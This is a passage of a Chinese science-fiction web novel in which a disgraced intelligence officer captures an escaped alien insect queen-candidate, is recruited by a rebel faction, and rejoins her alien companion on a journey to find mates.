祝吟辰站在窗前,望着底下的永不停歇车水马龙,眼底泛着淡淡的疲惫。她望向远方天空,最亮的一颗“星星”是AGPC的星际特工局,悬挂在宇宙中,象征着人类最崇高的文明。或许是错觉,她觉得那光芒较以往似乎黯淡了几分。
仔细想想,关于雌虫的事务和情报是高度机密,不可能向外公开,民间情报处与星际特工局事务并不相通,民众不可能知道是她私自向总指挥提出了保留雌虫性命的请求,那男孩是从什么渠道知道的?他为什么出现在暴乱现场,又为什么没有公开这个消息?
让遇难者仇恨自己,由此可以获利的人比比皆是,她找不出具体的告密者。
但危机是实在的,从此时此刻起,她需要时刻保持高度戒备,以应对对方的进攻。
时针指向十二点,夜已深了,祝吟辰已经思考了太多太多,她关上灯,倒在床上,平静地闭上眼睛,放空大脑,心脏却一阵阵地抽痛起来,泪水终于忍不住涌出。
她把头埋进枕头,黑暗中传来一声声呜咽,在虚空中不断回响、回响。
……
在天上红色的那一轮升起之前,一只手自无边无际的虚无中出现,抓住岸边的岩石,一点点艰难地爬出。
自从祝吟辰失去意识之后,安提继续在冥土向上游,穿越各种生物的重重阻拦,经历了几番战斗,不知道时间过去了多久,她终于离开了这里。
安提趴在岸上,紧闭双眼,大口大口呼吸着空气,身上水润的皮肤析出水分,重新硬化,离开了冥土后,她需要坚硬的铠甲来面对新的环境。
天边开始泛起茫茫的白色,安提振作精神,支撑着身体站起来。
她张望四周,这里一片寂静。周围是平坦的白沙地,远处是低矮的丛林,更远处就是熟悉的高大密林了。
她沿着岸边慢慢走了一圈,没能找到什么食物,看来还要挨饿一小段时间了。
她低下头,打开腹部,拿出祝吟辰,蛹体比之前大了一点,几相较以往只能勉强收放进腹部,现在的当务之急不仅是找到食物,还有安全的存放蛹体的栖息地。
至于空居的行程,先等伊塔成虫醒来再说吧。
天上红色的一轮带着安提在冥土周围走了三回,她沿着一条溪流,发现了一个小水谭,在附近找到了一处隐蔽的山洞,把蛹体存放在山洞里面,又在附近找了一些干燥的枝条,盖在蛹体上保暖。
这里离冥土不远不近,没有什么凶恶的生物出没,只有一些小动物,食物和安全都有不错的保证。安提这样想着,在这段时间的奔波中,心中终于感到一丝踏实的安定。
铺好“床”后,安提趁着天光正白,出门觅食。随着”加——“、“加——”的叫声,她在小溪下游找到几只短耳长尾的、行动迟缓笨拙的加卡,这是一种临水而居的食草生物,叫声短促尖利,皮质光滑水润,肉不多,但肉质鲜美。
安提迅速解决了四只加卡,来不及带回去,她坐在原地,急急忙忙地剥去毛皮,痛痛快快地大嚼起来。
滚烫的鲜血在齿尖喷出,慢慢流淌下喉舌的那一刻,安提才真正觉得自己是真的从冥土里逃出来了,身体里的血液重新流动,周围的颜色生动起来,融化成一团漂浮的蛋清,柔软地将她包裹,仿佛回到了初生的卵里一样,眼前慢慢浮现出一团白茫茫的温暖的光。
她痛痛快快地吃起来,眼泪忍不住滚滚落下。
8. 黑暗的侧影,火焰的余烬
“……以上。”
孙志成点击收起屏幕,抬头,目光炯炯地看向祝吟辰,说道:“祝少校,对于刚才提出的要求您是否接受?”他嘴角不自然地扯了一下,补上一个僵硬的微笑,紧接着补充道:“您有提出异议的权利。”
“我接受AGPC的一切调令。”祝吟辰面色平静,她坐在联合会议室的中央,四周环绕着窃窃私语和各色眼色,人们各怀心思,暗处是各派势力的暗暗较量,他们打量着这个女人,揣摩着她身上可捞的油水,权力、财富、荣誉……或别的什么。
孙志成点了点头,他按下按键,大屏亮起,将该场会议的一切信息收录入库,作为接下来计划执行的背书,也宣誓了这场审判的落幕。
……
祝吟辰被执行人员送回了家中,几分钟后,总部发来通知,距离生化实验室的转移重建还有五天,在此期间,她必须做好相应的准备。
关闭手环,她缓缓靠在沙发上,闭上眼,回想起会议上的审判结果。
除去对收回自己各项职权的处罚外,每七天必须抽出至少五个小时解除意识连接,回到蓝星AGPC情报处,报告这段时间的任务进度和收集的阿努的情报。
此外,关于任务的一切执行相关不得干涉,包括后续对阿努特纳星的清洗。
最后,任务结束后,必须自动到AGPC接受为期十年的监禁,后续相关则具体依祝吟辰的表现进行处理。
她起身,走到窗前,望向窗外漆黑的天空,现在是夜晚十二点,距离回到阿努特纳星正好五天。天上一如既往地一颗星星也没有,从灾难发生的那天起,大雨一直下到现在,浑浊的雨水沉重地压抑着整个城市。
但她的心中却有一团隐隐的火,越烧越旺。
那些随波逐流的终将消失在河流里,只有烈火才能在燃烧一切后,将万物复苏。
她已没有随波逐流的机会了,环顾周身,唯余一团沉默的灰烬。
祝吟辰闭上眼睛感受窗外湿润的风,睁开眼睛时,眼神逐渐变得深沉而锐利。
阿努在湿润的天气要么待在黑暗温暖的地方,要么持续待在水里,会根据环境自动变化的皮肤不允许它们长时间待在温度和湿度频繁变化的地方。
蓝星没有菌落,它只能靠吃肉为生。而上邦里满足前面其中一个条件,有肉类储存,又人迹罕至的地方不多,三天就可以排查完成。
她转身回到卧室,打开暗格,一番装备后,换上防水的日常装束后出门。
她的目标是雌虫。
……
街上人来人往,这个时间下班的人潮水般汹涌在城市里。没人注意到人群中一个踩着可移动出行装置,穿一身漆黑的身影正逆流而行,这种神秘又便利的装扮在年轻人里很受欢迎。
祝吟辰赶到城市的最中心,进入中心交通站附近的商店里,这个地区交通四通八达,便于行动和转移。
她压低帽檐,拐进女厕,进入隔间,点开手环,虽然AGPC的内部查询的身份和权限被删除了,反而便利她以空白的游客身份进入黑网进行交易,不用担心对方查询她后台的身份。
对方发货很快,一共有三份资料。第一份资料显示最近半个月以来,上邦里关于肉类失窃的报案共有一百零二起,其中大部分是由来自下邦的极端贫穷的年轻人或流浪汉犯下的。
第二份资料里面是上邦里废弃厂房和仓库的坐标,一共有七十五个。
第三份资料里面是上邦里开放水域的位置以及其周边的半个月以内的监控。
祝吟辰快速辨别第一份案卷的线索,确定了其中有十五例嫌疑。她标注下事件发生的地点坐标,记录下第二、份资料的坐标和位置,又保留好监控记录,发给个人智能助手系统,让其排查出其中可疑的部分。
做完这些,祝吟辰长呼出一口气,她离开女厕,进入中心交通站,向第一个嫌疑地点出发。
而在未知的某处,黑暗无声的密室里,一只女人的手轻轻滑动屏幕,上面显示出密密麻麻的通知消息,女人不紧不慢地一一点开它们,屏幕上闪烁着祝吟辰此番出行的身影,出现在各个地点上,屏幕放大,手环上的资料也暴露无遗。
女人轻笑了下。
……
尖利的牙齿拼命撕扯僵硬的肉,嘴角被刮出细密的血痕,血液滴落在消瘦的肋骨上,流淌过被这具骨架勉强绷着的皮肉上,留下肮脏的痕迹,宛若尸斑般,一种临近死亡的凄厉的惨笑。
她蜷缩在角落里,贪婪地啃咬着怀中这片来之不易的肉。
只有这个地方可以让她不费一点力气就得到一点食物。那场爆炸使她得到了自由,但也使她失去了一条胳膊。
身体的再生需要营养,但她在城市里游荡了数十天,几乎找不到什么有营养的活物,除了那些跑来跑去的人类,但他们不知道有什么魔力,一靠近他们,他们就会发出大叫,然后附近的机械装置就会发出巨大的声响,然后攻击她。过不了多久,一群全副武装的人就会突然跑到她所在的地方攻击她。
她没有时间去疑惑他们是如何得知她的行踪的,也没有多余力气去杀光然后吃掉他们,但她学会了远离人类。
她很饿。
在河流中漂流了几天,吃了几天河底的死鱼烂虾后,她终于坚持不住上岸,在附近偷偷探查,终于找到了这个废弃的工厂。
这里没有人,冷库里冻着一些碎肉,地面上有一些车辆和脚步的痕迹,大概是在她来到这里之前,已经有人把大部分的肉转移走了吧,只留下一些懒得带走的碎肉。
急急地吞咽下眼前可见的所以食物,她摇摇晃晃地站起身,走出仓库,腹中有了食物的重量,视线较以往清明了许多,血液也慢慢变得温暖了起来。
她甚至可以感觉到细胞的生长,静电般在全身流动。
放慢脚步,她开始认真地打量四周。
冷库外是空旷的停车场,水泥地面布满刮痕,地上的雨水漫过脚面,附近停有几辆破破烂烂的废车,隔壁的几栋建筑上爬满绿色的植物,灰黑的墙壁若隐若现。
越往前走,地面就越肮脏。前放的地面凹陷下去,形成了一个大水坑。大雨噼里啪啦地打下来,溅起的脏水落在她身上,她绷紧身体努力往水坑里看——里面什么也没有。
她绕开水坑,打算去远处的建筑里看看,没走几步,身后却传来熟悉又陌生的声音。
嗒——、嗒——、嗒——
是人类的脚步声,但这种节奏,她从未听过。
“卡嗒——”是武器启动的声音!她瞳孔一紧,身体条件反射般一闪,转身挥臂冲向来者,身位
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拉近,却见对方身形在刃口处一让,脖颈受了一记重击,冰冷的枪口抵住了她的头颅。
时间仿佛静止了一瞬,雨水又落下来,流淌过双方僵持的身躯,打在水面上,世界一阵阵地激荡。
“这么多天过去了,你是否对人类的语言已经有一定了解了?”清朗的声音穿过重重雨幕,雨衣下伸出一只手,抬高帽檐,露出一张湿漉漉的熟悉的脸。
“……看来是没有。”祝吟辰仔细地观察对方,没有得到明确的反应,只有疲惫不堪的面容和一具伤痕累累的身体。
知道了雌虫无交流能力,祝吟辰不再多言,她收起枪支,表示自己并无恶意,又向远处停的车一指,示意对方跟上。
可惜雌虫已经对人类毫无信任。
祝吟辰侧过身体的瞬间,雌虫猛地挥过一爪,她闪身险险避过,面前却扑过来一大滩毒液,祝吟辰心中一惊,急忙抬手掩面,手套外传来隐隐约约的灼烧感,待到反应过来,雌虫已经不见了踪影。
“……逃不掉的。”
祝吟辰面色一沉,眼底投下阴翳的一片。她摘下手套,点击启动护目镜的热成像系统,立刻锁定了隔壁宿舍大楼左侧,那个灼热的身影正试图砸开三楼窗户,看来是想跳窗向西北方向的林区转移。祝吟辰立即奔去林区进行提前拦截。
雌虫喘着粗气,翻下窗户,却听见几声枪响,子弹穿过她的腹部,下一秒又穿过她的左眼,碎肉伴着血花炸开,巨大的恐惧和痛苦贯穿整个意识,她眼前一黑,半空中掉下来,落在祝吟辰脚边,不动了。
祝吟辰单膝跪地,试探雌虫胸腔中部的心跳声,还在。
她站起身,脱下雨衣,用雨衣打结系上雌虫,将她捆绑在背后,一步步离开这里。
走到距离废弃工厂三公里外的河流旁,祝吟辰看向河对岸,这里人烟稀少,却停着一辆车,车灯亮着,一闪一闪。
祝吟辰凝视着那辆车,一动不动。车里的人像是得到了什么感应般,开过桥自己驶过来了,祝吟辰果断打开车门,将雌虫放进车后排,然后上车。
前排传来低低的笑声,一只手扳正后视镜,熟悉的脸倒映在镜中,是奕川。
“不愧是祝少校,真是明察秋毫。”车开动了,“祝少校怎么知道我会来这里?”
“让我去商业街的人是你,”祝吟辰拧了拧头发,往后一躺,神色慢慢放松下来,双目微阖,眼底溢出三天三夜的疲惫,“我就猜,你肯定在监视我的行踪,我就去了女厕。”
“就去了女厕?”
“世界上最不安全的地方,”祝吟辰笑了笑,“去了那里,你会很轻易地知道我的目的,然后来拉拢我,或者……揭发我。”
气氛似乎沉默了一瞬,“没想到祝少校还有赌博下注的本领,真是胆识过人。”祝吟辰眼睛猛然睁大,挺起上半身,冷冷地盯着后视镜中奕川的背影,“我赌对了吗?”
奕川的声音笑了笑,“牌桌都上了,不看看赌注吗?”听到这话,祝吟辰泄了气般,重新躺下,声音也疲惫地低下去,“你们要什么?”
车突然停下,车灯也熄灭了,沉没水底般,黑暗涌进车内每一寸空间。
奕川向后排转过身,微笑着看向昏死过去的雌虫,又将视线转向祝吟辰。
“你愿意……燃烧这个世界吗?”
9. 决断新立场,她们再相聚
夜色如墨,高楼大厦间,霓虹灯犹如无数颗璀璨的宝石般层层叠叠地堆积,车流不息,人潮汹涌,是最华美的流光溢彩的画卷。
繁华与辉煌是上邦的,安全区外的下邦,沉重的黑暗笼罩着,死水般,偶尔远远地传来一阵枪声,又很快陷入寂静。
“有的时候,枪声会发生在A1区。”
奕川拉上窗帘,转过身,微笑着看着祝吟辰,“说起来,您真打算独自为这件事负责?我们都知道,明明是地下实验室的安保问题更大,即使你没有提出请求,他们照样会把雌虫安置在那里。”
“我知道,”祝吟辰一边给雌虫的伤口上药,一边说:“但处罚我是他们的事,决定为这件事负责是我自己的事。至于他们的判决……我现在恐怕无力反抗,而群众的痛苦,现在也急需有个发泄的通道吧。”
处理好伤口,将雌虫安置在床上,她又去厨房拿了点干粮,回来放在床边,最后再仔细检查了一下雌虫的心跳和呼吸后,示意奕川跟她出去。
关上门,祝吟辰走进客厅,落地窗外的天光射进来,照在地上,天快亮了,离连接意识系统还有24小时。
她坐在沙发上,闭上眼睛,眉眼间尽是疲惫。奕川给她倒了杯水,坐在她旁边,看她喝下。
“您决心已定,我就不干涉您的意愿了。至于雌虫,在您去阿努特纳星的时间里,我们会派出专人来照顾它,保证她的生命安全,绝对不会让它跑出去。”
祝吟辰放下水杯,“如果她跑出去了,请即刻击毙,阿努有三颗心脏,要注意她可能会假死。”
“阿努?”
“就是虫族,这是她们的自称。”
“我知道了,时候不早了,您早些休息吧。关于我们的合作事项,三天后等您回来,我们再详谈。”奕川点点头,她站起身,走到大门前,脸上挂着衷心的微笑,“无论如何,我真心希望您的善良和责任感可以为您带来应有的正义。”
地上光与影的交界线如同晕染的水,交融着慢慢模糊。祝吟辰没有听到奕川的关门声,她已睡着了,光线照在她静谧的脸上,此刻梦里的安宁和风声一样轻。
……
【舱体连接完成,意识正在连接】
如同上次一样,接上装置,躺在舱体里,祝吟辰闭上眼睛,感受温暖的液体慢慢上升,漫过手臂、脖颈……覆盖过面孔。
等待困意的时间里,她突然想起前头夜里奕川说过的话,那双明亮的眼睛,在漆黑的夜里如同一线火花,心中的那团火焰狂热地跳动起来,火舌兴奋地高高卷起。那一刻,她突然有点恍惚,仿佛奕川所要提出的代价将要是她一直追寻的那个答案,一条通向理想和正义的道路。
“我们都知道蓝派的所作所为使得我们的文明已经走到了尽头的边缘,”奕川神色激动,“资源在枯竭、所有生物都在死去,我们不能靠无穷尽消耗来维持生存,他们只顾自己的利益,上邦的人越来越少,越来越多的人不得不搬去下邦,靠贩卖自己的一切来生存……”
突然,她哽住了,眼睛微微发红,“我的一个同事,半年前辞职了,前几天我在黑环的交易所里看见她的人皮,上面有她的纹身。他们将她卖给有人皮手工艺品爱好的有钱人。”
祝吟辰吃了一惊,她抬起头与奕川对视,后者的眼角滑落一滴泪水,但牙关紧咬着,不发出一声哭声,眼睛惊人地明亮,渗出凶狠的憎恨和杀意。
“加入我们吧,红派不会放弃任何家人,我们会一起走出蓝星,去探索更广阔的天地,每一个人都可以得到应有的报酬,人与虫会实现和平共处,这才是真正通往文明的道路。”
祝吟辰说不出话来,她原本以为自己会被蓝派里针锋相对的某一个势力拉拢,没想到却是与她工作和生活都毫不相关的红派。
红派的势力范围非常分散,里面的支持者主要是富有个性的个人职业者和文化教育领域的精英人士,他们一边主张团结反抗军,将资源和权力分散下去,让每一个人都有平等发声的权力,一边主张积极向外星外交,和平交易需要的资源和栖息地。
由于红派是近几年才发展起来的,所以大多数人只是认为这是“年轻人的时髦玩意儿”,AGPC在几个月前统计过,支持该派系的人在军队和政府里甚至不到5%,所以都释然地一笑了之,当做饭局上讨论年轻人现状的谈资。
祝吟辰对红派的了解很少,只是在一次饭局上听到旁桌上讲起几句,那个肥胖的官员打着酒嗝说道:“你们知道红派吧?对,我侄子天天挂在嘴边的那个……前几天他跟我说什么应该让下邦人进来,和我们一起工作,我就跟他说,“叔叔已经在和下邦人一起工作了哦””,胖官员一边说,一边挤眉弄眼地挥了挥钱包,旁人全都大笑起来。
那时候她没有听懂,只以为红派是年轻人的潮流玩具。直到现在,她才终于感到那迟来的、彻骨的寒意。
“我们不急着得到您的答案,面对每一个重大的决定,每一个人都需要足够的时间来思考和酌量。”奕川的情绪似乎平复了一些,脸上重新带上礼貌的微笑,“我们会帮助您照顾这只雌虫,直到您下定决心。您可以充分信任我们,即使您拒绝了我们的邀请,我们也不会透露您和这只雌虫的任何消息。”
奕川认真地看着祝吟辰的眼睛,她很早的时候就听说过她的名字,祝吟辰,年轻人的榜样,精英中的翘楚。
听说她原本出身于A1区,家庭原本富足而幸福,然而在她十三岁那一年,母亲突然离家出走,无影无踪,父亲在短暂的悲伤之后再娶。由于无法融入新的家庭,她选择加入直属AGPC的军校,毕业后她被批入了联合部,负责C3区外围——无人区的生命探索,在那里工作了七年后,在去年被调回A1区,开始为星际情报处工作,直至今日。她不是唯一一个在去了无人区后还能活着回来的人,却是其中最年轻的一个。
主动出击,打动祝吟辰对于红派是至关重要的一步,如果祝吟辰愿意加入他们,那这将会是红派渗透A1区乃至AGPC的第一个开口,那帮掌权的老人将会死去,年轻人们将会重新管理这里,新的血液,新的局面,新的文明。
“毕竟,您为人类做了很多事,得到同类的帮助是理所应当的。”奕川笑了笑,转过身。车辆重新启动,短暂的沉默后,后排传来祝吟辰的声音,“ 谢谢你的建议,我会考虑。”。
我会考虑。
在意识彻底沦陷之前,祝吟辰喃喃地重复了自己的这句保证,然后是沉重的黑暗将一切淹没。
……
【已降落指定坐标。】
意识渐渐清明,感觉不到蛹壁的存在,祝吟辰尝试着慢慢睁开眼睛,眼前的景象一点点清晰起来——一片灰色的石壁,她听到了有水滴滴落的声音。
她用手支撑
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着地面慢慢站起身,低头看了看自己的四肢,大体和安提相同,但她隐隐约约感觉到身体里循环流动着的除了阿努特有的毒液外,似乎还有另一样未知的物质在流动。
但比起研究这个,现在还有更重要的事。她环顾四周,发现这里是一处干燥的洞穴,地面很干净,刚才躺过的地上铺着干草,白色的光线从几条上方的石缝照进来,洞口遮挂了一张巨大的毛皮做帘子,看不出来取自什么生物。
她掀开帘子走出去,洞口外是一片绿茵草地,长着小小的蓝色花朵,离洞口约五十步远的地方有一个小水潭,旁边放着一些石制工具和大贝壳。她走过去,看着水面上倒映的自己——一头银色长发,一双白色的眼睛,折射出虹彩的光芒,额上和眼下有银白色的三角纹路。
不知道当初第一支探查小队带回来的这个阿努究竟是什么种类,这样的面貌,她还是第一次见到。
“伊塔。”
祝吟辰心猛地一跳,回过头,看见不远处的安提,脸上挂着熟悉的笑容,手里抱着一个容器,大踏步向她走来。
她把容器放在水潭边上,双手捧起祝吟辰的脸,温柔地揉了揉,给了对方一个热情的拥抱。
“我的思念涨起落下了十次啊,你终于从泪水里归来,纵情欢乐吧,纳姆也要为我们庆祝。”
祝吟辰感受着安提的体温,一种久违的情感涌上心头,眼角竟不自觉地有些潮湿,在离蓝星最遥远的地方,在这个异族的身边,内心感受到久违的温暖和平静。
安提松开手,为祝吟辰拭去眼角的泪水后,拾起水潭边的容器,展示给祝吟辰看——几只加卡,看起来刚死不久,还冒着生前的热气。
“这点食物不够我们高兴的,我再去弄点肉来,你把这些先洗干净,等我速速归。”
祝吟辰点点头,看着安提兴高采烈地跑出去后,开始洗肉,又出去找了一些干木材,按照以前野外生存的经验烧起火来。火烧得正旺的时候,安提正好回来,她怀里抱着一些果子,腹部还放着肉和蔬菜。
安提把它们拿出来递给祝吟辰后,祝吟辰拿一个大贝壳装水递给安提,安提接过,感叹道:“聪慧的伊塔啊,是我明亮的珍珠,火焰虽温暖,不及你贴心。”
“没事,我应该做的。”
一人一虫吃饱喝足后,躺在草地上看着天空,现在正午已过,天上的光线柔和了一些,白色丝绸般垂落在身躯上,在这样平静的时刻,祝吟辰第一次忽略掉对这片天空起初的不适,感受到它温柔的一面,她突然想起自己面貌的异样,白发白瞳和银色面纹,不同于任何一个见过的阿努。
“安提,你对我的脸有什么看法?”
“我不晓得。”
祝吟辰吃了一惊,她猛地起身,盯着安提的眼睛,指着自己的脸问到:“你没见过长我这样的阿努吗?”
“没有。”安提一双眼睛老老实实地看着她,看起来诚实极了。
祝吟辰只好重新躺回去,心中却满是疑惑。
“应该高兴的时候,就让未知的烦恼随风去吧。”安提腾出一只手,摸摸祝吟辰的头,“遭遇总会来的,不要心急。”
“……”祝吟辰闭上眼睛,安提当她是听进去了,牵起她的手,也闭上了眼睛。
一人一虫在分离数十日后,第一次重新躺在一起,沉入安眠,风声伴着流水,将花和草木的气息送入梦乡。
10. 她将完整的分离剥去
按照蓝星的时间来计算,接下来的半个月,祝吟辰一边跟安提学习如何独立战斗和生活,一边每三天抽出几个小时的时间回到蓝星报告进度。
在学习的过程中,她逐渐发现了一些异常;当她询问安提诸如天上红色的那一轮是什么,为什么天亮后天空一直是白色的,附近的冥土由什么物质组成,为什么没有看见过阿努语言文字的任何记载等问题的时候,她耳中的翻译系统就会突然失灵,根本无法理解安提的意思,只能看见安提的嘴一张一合,眼前的屏幕传译显示出一串乱码。
因为担心被怀疑,祝吟辰只好每次都装作听懂了的样子。
或许是因为阿努的语言中的某些特定词汇无法用人类的文化和语言所替代翻译出吧,祝吟辰这样猜想。
又过了两天,血潮涨起,祝吟辰在水潭边烧火,安提把加卡洗干净杀好,串上木签架在火上烤。
祝吟辰几天前提议她们这么做,虽然安提不理解为什么要这样麻烦,不过因为这样做出来的加卡出乎意料地好吃,所以她也就同意了。
“伊塔,这段时间我们已经休整得差不多了。”安提一边给肉串翻面,一边说:“下一个夜潮来临之前,我们要出发去空居。”
祝吟辰坐在地上,抬头问道:“空居是什么?我们去那里干什么?”
这回翻译系统没有失灵了。安提回答道“是阿利都们居住的地方,我们去那里寻偶。”“阿利都是什么?她们是负责干什么的?”
“阿利都是阿努的一种,他们没有义务,只凭自己的心意活着就好 。”
“他们?”祝吟辰听着安提口中这个陌生的音节,不同于“她们”的发音,她疑惑地问到“你的意思是,雄性阿努吗?”
“是的。”祝吟辰心中顿时清明许多,怪不得她从来没有见过雄性阿努,原来他们被聚集在一个地方了。
突然,祝吟辰像是想起什么,心一下子悬了起来,她迟疑地问到:“我们去找雄性阿努,是去找对偶吗?”
“是的。”安提笑了笑,拿起一串烤好的肉,开开心心地吃起来。
……也是,成为虫后的第一步是活着逃出抓捕,第二步就是找到对偶。
看来安提对自己已经安全逃过菌群的搜捕这一点有了自信。可是话又说回来,为什么要把阿利都们聚集在一个地方,不给他们赋予任何工作呢?
祝吟辰问出她的疑问,安提摇摇头,“纳姆的意志是……”
眼前的屏幕又开始故障了,显示出一串串乱码。
更严重的是,以前听到这个名字的不适感也重新袭来,祝吟辰感到一阵头疼,眼前发黑,全身仿佛有火焰在跳跃、燃烧,她一时间呼吸不上来,淌着冷汗,慢慢倒了下去。
……祝吟辰在安提的背上醒来,她睁开眼睛,看见安提黑色的头发和肩部铠甲,感到喉中干涸,她忍不住喘出几个气,安提回头,发现她醒了,连忙把她放到草地上。
安提从腹中取出一袋水,递给祝吟辰,祝吟辰接过,大口大口喝起来,还给安提袋子的时候,她察觉到这个袋子是由某种动物的皮制成的,忍不住多看了几眼。
“加卡的胃囊做的。”安提察觉祝吟辰的心思,她笑了笑,“你感觉怎么样?”
“还好,没什么问题。这是在去空居的路上吗?”祝吟辰站起身,拍拍身上的沙尘。
“是的。”安提答道,关切地看着她。
祝吟辰环顾四周,她们似乎已经走出了洞穴所在的小树林,沿着溪水进入了更广阔葱郁的森林了,这里不像菌群那里的森林那样野蛮、原始,有着惊人的生物多样性,而是更温和、轻灵。
树木错落有致地生长着,温暖的光线舒舒服服地照射进来,洒在绿油油的大片草地上,溪水流淌过脚面,风也温柔和煦,远处传来不知名生物清脆悦耳的叫声,一切如同童话般祥和安宁。
“那我们继续走吧。”
去往空居的旅程上非常顺利,安提本就武力强悍,加上同为成虫的祝吟辰,一路上没有什么生物是她们的对手。
每当天色渐白,她们就开始赶路,一直走到天空垂下夜幕,降下红光,这个时候她们就在附近找一种长着椭圆叶子的大树,爬到上面巨大的如同葫芦一样挂着的果实上,在上面切开一个大洞然后钻进去睡觉,这种果实通体橘红,状似灯笼,茎部翘起来五六片细长的花瓣,底部垂下一束花蕊,果实内部十分光滑,果壁分泌出细腻的蜜液,散发出奇异的清甜果香。
安提告诉祝吟辰,这种树叫“蜜心果树”,这种果实叫“蜜心果”,专门靠消化被果实里的蜜汁吸引进来的漂浮虫类来生长。
“可以消化漂浮虫的话,这种蜜液岂不是有毒吗?”
“没事的,我们也有毒,吃一点再睡觉。”安提将一片细长的空心茎叶插入蜜液里吸食起来,“而且中了毒会有一点发晕,刚好辅助我们睡眠。”
“……”
就这样过了一段时间,祝吟辰已经可以在树上远远望见空居大致的样貌了,好像是一个巨大的大蘑菇,伞下菌丝挂着一些圆珠,其他的细节由于迷雾看不太清,但按照阿努惊人的赶路速度,距离她们到达空居也就是明天的事了。
夜潮降临,祝吟辰吃饱蜜汁后,爬到果实顶上吹风醒神,接连中了几天的毒,她感觉有点坚持不住。
过了一会,安提也爬上来,躺在她旁边。
可能她也坚持不住了吧。祝吟辰这样想到,一时间竟忍不住有些想笑。
安提察觉到身边虫的笑意,闭上眼睛,轻轻哼起不知名的歌谣,比起歌曲,那更像是一种远古的巫咒,用轻盈短促的词句念出来。
祝吟辰静静地听着,林间夜晚的风不大,夜空朦胧着红色的轻纱,轻轻飘落在地表裸露的万物上,树影斑驳,光芒闪动。安提的歌声伴着蜜心果的香气传到树林的每一个角落,在平静如水的夜色荡开细密的波纹。
一曲唱罢,四周又重新陷入了寂静,祝吟辰逐渐有了几分困意,但她还不想睡。
“安提,”祝吟辰迷迷糊糊地问到,“你想产卵吗?”
……自己在问些什么啊。
“是的。”旁边传来安提的声音。
“可是,你已经有一个我了。”祝吟辰突然想起来什么,掩饰般笑了笑,“可惜只有我一个。”
安提那边良久没有回应,祝吟辰犹豫着扭过头,对视上安提亮晶晶的眼睛,心脏猛地跳了一下,意识瞬间清醒,一时间竟感到有些不知所措。
安提嘴角微微上扬了几分,她扭过头,闭上眼睛说道:“你说的话是对的,所以还不够。”
祝吟辰沉默了几分钟,继续问道:“成为虫后的办法,只有产卵,然后利用它们杀死旧虫后吗?”这是她从AGPC资料库里关于虫族的以往情报里得来的经验,蓝星以往跟别的星球的虫族打过交道,它们的生存和战斗方式各不相同,但演化新虫后的方式都差不多。
“伊塔,我没有告诉过你这种知识,”安提说,“但事实跟你说的差不多。”
祝吟辰的心上像是拂过一片雪花,有些轻薄地冷了下来,一种微妙的感觉涌上心头,但她还是接着问道,“阿利都们到底是什么样的?”
“不知道,我之前可能见过吧,但已经忘得干干净净。”
知道安提没有怀疑自己的由来,祝吟辰内心好歹庆幸了几分,紧绷的神经也放松了一点。她试图舒缓一下气氛,故作轻松地问道:“等我们到了空居,你打算怎么追求阿利都们?”
“挑一个合心意的,剥去他的皮,吃掉他的肉,吸干他的血。”
“啊?”祝吟辰茫然了一瞬,她下意识看向安提,“我以为是更传统和平的方式。”
“生命呵,追逐吧。”安提起身伸了个懒腰,懒洋洋地说到,她望向空居的方向,幽幽迷雾弥散处,隐隐约约亮着飞舞的荧光,如同地面的星群,远远看过去神秘又美丽。
“睡吧,伊塔。”
……
大概在她们睡后不久下过雨,清晨的空气潮湿而清新
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,匆匆啜饮几口带着清冽雨露的蜜浆,她们踏上最后的路程。
一路上一如既往地顺利,简直是太顺利了,几乎见不到什么生物,路也越走越开阔,各种各样的奇花异草出现在她们面前,安提开心地告诉祝吟辰,这些植物都是温和可食用的类型,只有空居附近才会有这样温顺的植物。
天光白得渐有些刺眼的时候,祝吟辰停下脚步,提议道:“我们先吃点东西,等会好有力气去空居附近找个休息的地方。”
“我们可以直接杀进去。”
“他们恐怕不会轻易允许吧,毕竟时刻有性命之忧,能保持这样和平的方式生活,恐怕他们有自己应敌的办法。”祝吟辰迟疑地说道,“而且我们对里面还不了解,最好先在附近探查一下。”
“也好,伊塔真是聪慧。”
这次安提不吃蜜浆了,她飞身上树,四处探查,要吃肉。
祝吟辰站在地面上,环视四周,这里除了天空中无忧无虑地漂浮着吃花粉的漂浮兽外,实在看不到别的活物。
她走近花丛,仔细观察,里面有生物不久前攒动过的痕迹,沿着痕迹一路看去,小溪边上有很轻但非常杂乱的脚印,通往空居的反方向。
她皱了皱眉头,沿着其中的一串小小的脚印,爬上旁边的一棵蜜心果树,切开果壁,一具透明的漂浮兽尸体拌着蜜浆缓缓流出,她伸手抚摸,尸体十分新鲜,水灵灵的,内层的超轻空气薄膜里还涌流着未消化的花粉,看起来也是不久前死亡的。
不对劲,是什么能让如此多的生物短时间内不约而同地躲起来,甚至让根本就不吃蜜浆的漂浮兽慌不择路地逃进蜜心果里?
看来昨夜不该吃那些蜜浆,她们错过了太多热闹。
祝吟辰心中生出不详的预感,她站在树上,看向空居的方向,迷雾渐去,但其中光彩变幻,荧光星星点点地闪烁着,散发出迷人的光芒。
要不要劝安提暂时不要去空居,等周围环境恢复正常了,再继续行程呢?
祝吟辰还在考虑,安提已经两手空空地回来了,“没有动物,只有漂浮兽。”安提爬上蜜心果树,面露苦涩,叹口气说道:“漂浮兽全是空气和水,不好吃,还是吃蜜浆吧。”
祝吟辰想了想,说出了她的建议,安提却果断拒绝。
“不行,我要去空居吃肉。”
“这么快就吃阿利都吗,恐怕他们不会乖乖就范……”
“我是说食物,不是对偶。”
“……好吧,我知道了。”祝吟辰将空心茎叶递给安提,“但为了以防万一,接下来我们务必谨慎行事。”
突然,安提瞳孔一缩,一把把祝吟辰按倒在地,俯身趴下,两眼紧盯着树丛下二三十米处的花丛,如临大敌。
一阵难熬的寂静后,花丛里猛地冲出一个跌跌撞撞的身影,它向后方惊恐地看了几眼,似乎在确认对方有没有跟上,然后头也不回地向远离空居的地方跑去。
等到它跑走不见了踪影,安提拍拍祝吟辰的肩膀,跳下树丛,那个家伙刚刚经过的地方有红色液体的痕迹,安提用手指沾上一点,轻轻嗅闻,是香醇甜蜜的酒气。
……那个家伙,是喝酒喝多了在这里乱跑吗?
“这是什么?”
“酒,还是我没见过的酒。”安提轻轻舔了一下液体,露出感叹的神色,“以前在菌群时,恩基为了防止我们因为饮酒懈怠任务,把酿造酒的菌落安排在沙漠一带的菌群,仅仅由一些体型瘦弱,干不了什么重活的拉姆照看。”
“原来还有别的菌群吗?”
“洞穴不止一个,菌落不止一处,菌群自然也不止一个。”安提拉上祝吟辰,向空居跑去。
有肉有酒有阿利都,说不定还有好住处,她一刻也等不了了。
